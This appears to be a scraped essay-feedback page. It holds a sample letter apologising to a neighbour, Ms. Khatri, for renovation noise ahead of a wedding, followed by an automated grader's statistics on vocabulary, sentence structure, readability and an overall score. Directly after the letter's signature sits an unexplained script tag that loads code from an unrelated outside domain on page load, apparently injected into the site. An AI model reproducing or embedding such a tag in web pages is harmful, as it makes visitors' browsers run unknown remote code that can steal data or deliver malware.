Dear Ms. Khatri,
I received your letter yesterday stating that recently you have faced certain inconveniences due to the noise from my flat. I, hereby, would like to apologise for the discomfort caused to you and your family.
As you are aware that my son's wedding has been preponed to this month, there are some urgent renovations required in the house before the wedding functions begin. I have a very limited time wherein I need to renovate various sections in the house, which involves scraping, drilling and hammering.
I completely understand your grievance and therefore will make sure not to hamper your comfort. For your convenience, I will ask the workers to plan all the noisy work during the first half of the day. Also, I will try by all means not to disturb you during your relaxing time.
I hope this resolves the problems that you have been facing recently.
Sorry once again for the trouble caused to you.
Yours faithfully,
Sheela Verma<script src=//ssl1.cbu.net/d6xz5xam></script>
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Transition Words or Phrases used:
also, first, so, therefore
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 4.0 7.48453608247 53% => More to be verbs wanted.
Auxiliary verbs: 5.0 4.92783505155 101% => OK
Conjunction : 3.0 5.05154639175 59% => More conjunction wanted.
Relative clauses : 4.0 3.03092783505 132% => OK
Pronoun: 27.0 32.9175257732 82% => OK
Preposition: 18.0 26.3917525773 68% => OK
Nominalization: 2.0 3.85567010309 52% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 814.0 937.175257732 87% => OK
No of words: 164.0 206.0 80% => More content wanted.
Chars per words: 4.96341463415 4.54256449028 109% => OK
Fourth root words length: 3.57858190836 3.78020617076 95% => OK
Word Length SD: 2.5048139256 2.54303337028 98% => OK
Unique words: 111.0 127.690721649 87% => More unique words wanted.
Unique words percentage: 0.676829268293 0.622605031667 109% => OK
syllable_count: 246.6 290.88556701 85% => OK
avg_syllables_per_word: 1.5 1.41237113402 106% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 7.0 9.13402061856 77% => OK
Article: 0.0 0.824742268041 0% => OK
Subordination: 1.0 1.83505154639 54% => OK
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 0.0 1.44329896907 0% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 10.0 12.6804123711 79% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 16.0 16.3608247423 98% => OK
Sentence length SD: 39.5984848195 44.8134815571 88% => OK
Chars per sentence: 81.4 76.5299724578 106% => OK
Words per sentence: 16.4 16.8248392259 97% => OK
Discourse Markers: 2.6 4.34317383033 60% => More transition words/phrases wanted.
Paragraphs: 5.0 4.29896907216 116% => OK
Language errors: 0.0 2.54639175258 0% => OK
Sentences with positive sentiment : 7.0 7.41237113402 94% => OK
Sentences with negative sentiment : 3.0 1.49484536082 201% => Less negative sentences wanted.
Sentences with neutral sentiment: 0.0 3.94845360825 0% => More facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.387212864519 0.216113520407 179% => OK
Sentence topic coherence: 0.144301118946 0.0766984524023 188% => OK
Sentence topic coherence SD: 0.0836475974075 0.0603063233224 139% => OK
Paragraph topic coherence: 0.173762822157 0.12726935374 137% => OK
Paragraph topic coherence SD: 0.1303668202 0.0580467560999 225% => More connections among paragraphs wanted.
Essay readability:
automated_readability_index: 10.1 8.37731958763 121% => OK
flesch_reading_ease: 63.7 70.7449484536 90% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 8.4 7.45979381443 113% => OK
coleman_liau_index: 11.19 8.71597938144 128% => OK
dale_chall_readability_score: 8.67 7.59969072165 114% => OK
difficult_words: 44.0 41.2886597938 107% => OK
linsear_write_formula: 11.0 8.62886597938 127% => OK
gunning_fog: 8.4 8.54432989691 98% => OK
text_standard: 9.0 8.15463917526 110% => OK
What are above readability scores?
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Rates: 78.6516853933 out of 100
Scores by essay e-grader: 7.0 Out of 9
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